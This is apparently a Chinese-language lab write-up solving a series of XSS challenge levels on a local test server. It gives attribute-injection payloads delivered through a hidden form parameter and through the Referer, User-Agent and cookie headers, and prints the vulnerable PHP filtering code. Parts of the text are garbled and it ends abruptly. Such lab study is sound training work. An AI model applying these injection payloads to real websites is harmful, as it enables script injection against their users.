先用试试
这里发现一个隐藏的form表单,里面有3个隐藏的变量:t_link、t_history、t_sort
。
把三个参数都传进去试试看:
http://192.168.121.129/xss/level10.php?keyword=well done!&t_link=1&t_history=2&t_sort=3
t_sort=<script>alert(/xss/)</script>
尖括号被过滤掉了,尝试一下用onclick弹窗。
Payload:
http://192.168.121.129/xss/level10.php?keyword=well done!&t_sort="type=text οnclick=alert(1)//
因为输入框被隐藏了,得利用type="text"把输入框显示出来,这样才能点击输入框触发弹窗。
成功弹窗
后台关键代码:
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
'" type="hidden">
.'" type="hidden">
.$str33.'" type="hidden">
';
?>
这里把t_link、t_history、t_sort
三个变量都隐藏了,而且只有t_sort
可以接收参数,同时也把t_sort的尖括号过滤掉了。利用onclick
时件可以成功绕过。
来到先查看一下前端代码,看它又出什么新花样
这里比上一关多了个变量,而且值还是上一关的URL,初步判断这是个referer,
还是先试一下上一关的方法先
估计后台直接在传入参数那实体化了。那就在这个新增加的参数那下手吧,利用OWASP ZAP截断代理,把Referer改成payload:
"type=text onclick=alert(1)//
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
'" type="hidden">
.'" type="hidden">
.htmlspecialchars($str00).'" type="hidden">
.$str33.'" type="hidden">
';
?>
这里用到了一个PHP预定义的超级全局变量$_SERVER
,这是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。
$_SERVER['HTTP_REFERER']
作用:引导用户代理到当前页的前一页的地址。
先查看一下前端代码
这里把上一关的Referer改成了User-Agent
用OWASP ZAP截断代理,把User-Agent改成payload:"type=text onclick=alert(1)//
成功绕过
后台关键代码:
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
'" type="hidden">
.'" type="hidden">
.htmlspecialchars($str00).'" type="hidden">
.$str33.'" type="hidden">
';
?>
这里用了HTTP_USER_AGENT
来获取用户的相关信息的,包括用户使用的浏览器,操作系统等信息,把这段信息改成payload即可绕过。
用OWASP ZAP截断代理,把cookie改成payload:"type=text onclick=alert(1)//
没变化
仔细看一下原来还有个user=
,把payload加再user=后面
成功绕过
后台关键代码:
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
'" type="hidden">
.'" type="hidden">
.htmlspecialchars($str00).'" type="hidden">
.$str33.'" type="hidden">
';
?>
这里的$_COOKIE
变量用于取回 cookie 的值,$_COOKIE["user"]
的作用是取回名为 “user” 的 cookie 的值,因此,在user后面插入payload即可绕过。
这几关都利用了隐藏表单,而且有多个隐藏变量。
绕过思路: